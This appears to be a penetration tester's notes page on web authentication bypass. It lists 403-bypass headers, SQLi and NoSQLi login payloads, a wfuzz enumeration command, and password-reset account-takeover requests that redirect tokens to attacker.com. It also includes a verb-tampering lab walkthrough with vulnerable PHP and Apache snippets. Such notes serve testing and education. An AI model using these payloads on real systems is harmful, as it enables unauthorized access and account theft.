Authentication bypass
7 - ATO
1 - 403 Bypass
4 - SQLI Authentication Bypass
6 - Bruteforce Vulnerability
5 - Weak Sessions & Tokens
3 - Username Enumeration
2- Common Credentials

Modify Headers in Browser

Note, if you need to open the web application in a browser, and you require a specific header/value combination as the payload to bypass the 403 restriction, you can use the following extension: Modify Header Value

Firefox: https://addons.mozilla.org/en-GB/firefox/addon/modify-header-value/

Chrome: https://chromewebstore.google.com/detail/modify-header-value-http/cbdibdfhahmknbkkojljfncpnhmacdek

4-ZERO-3 (403-bypass.sh)

https://github.com/Dheerajmadhukar/4-ZERO-3
This tool automates the process by applying many techniques.

./403-bypass.sh -u https://www.example.com//admin/login_check.php --protocol

403 Bypass via Headers

CTF Context: Special Headers

If you find yourself in a scenario where there is a website that you are unauthorized from accessing, you may look for hints that suggest headers/values that accept passphrases, paths or cookies that could be used to access the page.

e.g.
See a writeup of HtB lab 'UpDown'

403 Header Bypass

Using HTTP headers like: X-HTTP-Method-Override: PUT can override the verb used

HTTP Headers Fuzzing:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost

2. Common Credentials

Try common credentials such as admin/admin, admin/password and admin/Password admin/Password123

[Username enumeration with Post requests]
First, intercept the login request in Burp.
“Attachments/Pasted image 20231109071002.png” could not be found.
We’re dealing with a POST request and we want to enumerate the field “username” field. In wfuzz, run the following command.

wfuzz -c -z file,/root/Desktop/tools/SecLists/Usernames/Names/names.txt --hs "Try again" -d "username=FUZZ&password=anything" http://10.10.10.73/login.php
  • -c: Output with colors
  • -z: payload for each FUZZ keyword used in the form
  • -hs: hide responses with the specified regex within the content
  • -d: use post data

SQLi Authentication Payloads

' OR 1=1;--

' OR '1

' OR 1 -- -

" OR "" = "

1. 401 & 403 Bypass

403 Bypass via HTTP Request Smuggling

https://book.hacktricks.xyz/pentesting-web/http-request-smuggling

Look for 403 forbidden by WAF

Steps:

If the Hosting Server is Windows Based:

  • Change the Path letter cases

Otherwise try:

  • Encode the Path

403 Bypass via SSRF

3. Username enumeration

Username Discovery in Login Page

  1. Identify Authentication pages
  2. Attempt logon with usernames
  3. Identify if the application provides different responses for different usernames
  4. Bruteforce to mass enumerate user/emails

Username Discovery in Registration Page

  1. Identify the registration page
  2. Attempt to create an account with a username/email that is likely to be in use
  3. Review the response
Username Discovery in Reset Password Page
  1. Go to reset password page
  2. Enter username/email addresses
  3. Identify if the application provides a response which suggests the username/email is already in use
  4. Bruteforce to mass enumerate user/emails
Response time Based Username Enumeration
  1. Open Burpsuite
  2. Identify Authentication Page or Identify the Password Reset Page
  3. Send the targeted request to Intruder
  4. Pass in a list of usernames /w random passwords
  5. Look for anomalies in the response time

Username Discovery in API Endpoints

  1. Identify API endpoints that provide information on user existence - e.g. on a registration page
  2. Determine if rate limiting is applied on the endpoint
  3. If not, bruteforce the endpoint with usernames/emails to determine which ones are registered to the site

4. SQLi Authentication Bypass

JWT Vulnerabilities

In JSON: POST Request

{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

In URL: GET Request

username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

MongoLite

Using the $func operator of the MongoLite library (used by default) it might be possible to execute arbitrary functions. See the following report: https://swarm.ptsecurity.com/rce-cockpit-cms/

```"user":{"$func": "var_dump"}

“Bug Bounty Hunting/Pasted image 20240101153427.png” could not be found.

SQL Authentication Payloads

NoSQLi Authentication Payloads

5. Weak tokens and cookies

6. Bruteforce vulnerability

Bruteforce Vulnerabilities

Determine if the website is vulnerable to bruteforcing on authentication page

Reset with an Attacker Controlled Email via Parameter Pollution

If possible on a /Admin page, select reset password, and enter the email that is used to register to the regular application.

  1. Add attacker email as second parameter using &
POST /resetPassword
...
email=victim@email.com&email=attacker@email.com|
  1. Add attacker email as second parameter using %20
POST /resetPassword
...
email=victim@email.com%20email=attacker@email.com|`
  1. Add attacker email as second parameter using |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  1. Add attacker email as second parameter using cc
   POST /resetPassword
   [...]
   email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  1. Add attacker email as second parameter using bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  1. Add attacker email as second parameter using ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  1. Add attacker email as second parameter in json array
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

OTP Rate Limit Bypass

  • Click reset password
  • Generate OTP with an email you own
  • Determine if the OTP is weak (e.g. 4 digit number, etc)
  • Determine if Rate Limit is applied on the reset page
  • If it is not, then try to perform a bruteforce attack
  • Look through JS or HTML to find hidden parameters pertaining to the password change

Reset via API Parameters

  • The attacker must login with his account and go to the change password function
  • Intercept the request
  • After intercepting the request sent it to repeater and modify parameters Email and Password
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Response Manipulation

Look for Request and Response like the following:

  • Perform a password reset with an email you own and capture the responses of when the OTP code has been entered.
  • Enter an incorrect code and capture
    Failed
HTTP/1.1 401 Unauthorized
...
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
  • Enter the correct code and capture
    Success
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
  • Copy the response of the correct code
  • Next, use the email of the account you wish to takeover, and change the response from failed the to the successful response

7. Account Takeover Password Reset

Verb Tampering

Steps
Basic Authentication Bypass: steps

  1. Determine which HTTP methods are allowed: curl -i -X OPTIONS http://SERVER_IP:PORT/

  2. Apply the different 'allowed methods' to see if the 401 (or 403) unauthorised page can be bypassed

GET
POST (remember to add the appropriate POST data)
HEAD
PUT
DELETE
OPTIONS
PATCH
  • Using Burpsuite, intercept the request -> right click -> change request method
  1. Review the HTTP response
    (note: depending on the HTTP request method sent, and the Webpage functionality, the response body may return as empty - assess the context to determine if this is a valid bug. See Basic Authentication Bypass Example)
Injection Bypass: steps

  1. Determine which HTTP methods are allowed: curl -i -X OPTIONS http://SERVER_IP:PORT/

  2. Apply the different 'allowed methods' along with the injection payload Vulnerability in Code HTTP Verb Tampering Injection attack

  3. Review the response

HTTP Verb Tampering Basic Authentication Bypass Example

When we start the exercise at the end of this section, we see that we have a basic File Manager web application, in which we can add new files by typing their names and hitting enter:

However, suppose we try to delete all files by clicking on the red Reset button. In that case, we see that this functionality seems to be restricted for authenticated users only, as we get the following HTTP Basic Auth prompt:

As we do not have any credentials, we will get a 401 Unauthorized page:

So, let's see whether we can bypass this with an HTTP Verb Tampering attack. To do so, we need to identify which pages are restricted by this authentication. If we examine the HTTP request after clicking the Reset button or look at the URL that the button navigates to after clicking it, we see that it is at /admin/reset.php. So, either the /admin directory is restricted to authenticated users only, or only the /admin/reset.php page is. We can confirm this by visiting the /admin directory, and we do indeed get prompted to log in again. This means that the full /admin directory is restricted.

Exploit

To try and exploit the page, we need to identify the HTTP request method used by the web application. We can intercept the request in Burp Suite and examine it: unauthorized_request

As the page uses a GET request, we can send a POST request and see whether the web page allows POST requests (i.e., whether the Authentication covers POST requests). To do so, we can right-click on the intercepted request in Burp and select Change Request Method, and it will automatically change the request into a POST request: change_request

Once we do so, we can click Forward and examine the page in our browser. Unfortunately, we still get prompted to log in and will get a 401 Unauthorized page if we don't provide the credentials:

So, it seems like the web server configurations do cover both GET and POST requests. However, as we have previously learned, we can utilize many other HTTP methods, most notably the HEAD method, which is identical to a GET request but does not return the body in the HTTP response. If this is successful, we may not receive any output, but the reset function should still get executed, which is our main target.

To see whether the server accepts HEAD requests, we can send an OPTIONS request to it and see what HTTP methods are accepted, as follows:

  Bypassing Basic Authentication

aslam4dm@htb[/htb]$ curl -i -X OPTIONS http://SERVER_IP:PORT/

HTTP/1.1 200 OK
Date: 
Server: Apache/2.4.41 (Ubuntu)
Allow: POST,OPTIONS,HEAD,GET
Content-Length: 0
Content-Type: httpd/unix-directory

As we can see, the response shows Allow: POST,OPTIONS,HEAD,GET, which means that the web server indeed accepts HEAD requests, which is the default configuration for many web servers. So, let's try to intercept the reset request again, and this time use a HEAD request to see how the web server handles it:

HEAD_request

Once we change POST to HEAD and forward the request, we will see that we no longer get a login prompt or a 401 Unauthorized page and get an empty output instead, as expected with a HEAD request. If we go back to the File Manager web application, we will see that all files have indeed been deleted, meaning that we successfully triggered the Reset functionality without having admin access or any credentials:

HTTP Verb tampering Injection Example

  1. Attempting code injection
    “Pasted image 20240218151347.png” could not be found.

  2. Note: the response specifies that this request is recognised as malicious

  3. Next, try changing the HTTP Method
    “Pasted image 20240218151503.png” could not be found.

  4. This changes the request to a POST request and pouplates the POST data for you based on the GET based headers
    “Pasted image 20240218151646.png” could not be found.

  5. Notice the Response html of this POST request is different to the response of the previous GET request

  6. You can review the response in the browser

Vulnerability in code: HTTP Verb Tampering: Basic authentication

Insecure web server configurations cause the first type of HTTP Verb Tampering vulnerabilities. A web server's authentication configuration may be limited to specific HTTP methods, which would leave some HTTP methods accessible without authentication. For example, a system admin may use the following configuration to require authentication on a particular web page:

Code: xml

<Limit GET POST>
    Require valid-user
</Limit>

As we can see, even though the configuration specifies both GET and POST requests for the authentication method, an attacker may still use a different HTTP method (like HEAD) to bypass this authentication mechanism altogether

Vulnerability in Code: HTTP Verb Tampering: Injection attack

Insecure coding practices cause the other type of HTTP Verb Tampering vulnerabilities (though some may not consider this Verb Tampering). This can occur when a web developer applies specific filters to mitigate particular vulnerabilities while not covering all HTTP methods with that filter. For example, if a web page was found to be vulnerable to a SQL Injection vulnerability, and the back-end developer mitigated the SQL Injection vulnerability by the following applying input sanitization filters:

Code: php

$pattern = "/^[A-Za-z\s]+$/";

if(preg_match($pattern, $_GET["code"])) {
    $query = "Select * from ports where port_code like '%" . $_REQUEST["code"] . "%'";
    ...SNIP...
}

We can see that the sanitization filter is only being tested on the GET parameter. If the GET requests do not contain any bad characters, then the query would be executed. However, when the query is executed, the $_REQUEST["code"] parameters are being used, which may also contain POST parameters, leading to an inconsistency in the use of HTTP Verbs. In this case, an attacker may use a POST request to perform SQL injection, in which case the GET parameters would be empty (will not include any bad characters). The request would pass the security filter, which would make the function still vulnerable to SQL Injection.

Reset Token via Referer Header

  • Request password reset to your email address
  • Open on the password reset link
  • Make sure you don’t change the password there
  • On Password Reset Page Click On Social Media Links Given Below And Capture The Request Using Burp Suite
  • Check if the referer header is a leaking password reset token?

Reset Token via Host-Header

  • Intercept the password reset request in Burpsuite
  • Add follwing header or edit header in burpsuite(try one by one)

You can use ngrok server as your attacker server

Host: attacker.com

Host: target.com
X-Forwarded-Host: attacker.com

Host: target.com
Host: attacker.com
Interactive Graph
Table Of Contents
Modify Headers in Browser
4-ZERO-3 (403-bypass.sh)
403 Bypass via Headers
CTF Context: Special Headers
403 Header Bypass
2. Common Credentials
SQLi Authentication Payloads
1. 401 & 403 Bypass
403 Bypass via HTTP Request Smuggling
403 Bypass via SSRF
3. Username enumeration
Username Discovery in Login Page
Username Discovery in Registration Page
Username Discovery in Reset Password Page
Response time Based Username Enumeration
Username Discovery in API Endpoints
4. SQLi Authentication Bypass
JWT Vulnerabilities
In JSON: POST Request
In URL: GET Request
MongoLite
SQL Authentication Payloads
NoSQLi Authentication Payloads
Cookie Vulnerabilities
5. Weak tokens and cookies
6. Bruteforce vulnerability
Bruteforce Vulnerabilities
Reset with an Attacker Controlled Email via Parameter Pollution
OTP Rate Limit Bypass
Reset via API Parameters
Response Manipulation
7. Account Takeover Password Reset
Verb Tampering
Steps
Basic Authentication Bypass: steps
Injection Bypass: steps
HTTP Verb Tampering Basic Authentication Bypass Example
Exploit
HTTP Verb tampering Injection Example
Vulnerability in code: HTTP Verb Tampering: Basic authentication
Vulnerability in Code: HTTP Verb Tampering: Injection attack
Reset Token via Referer Header
Reset Token via Host-Header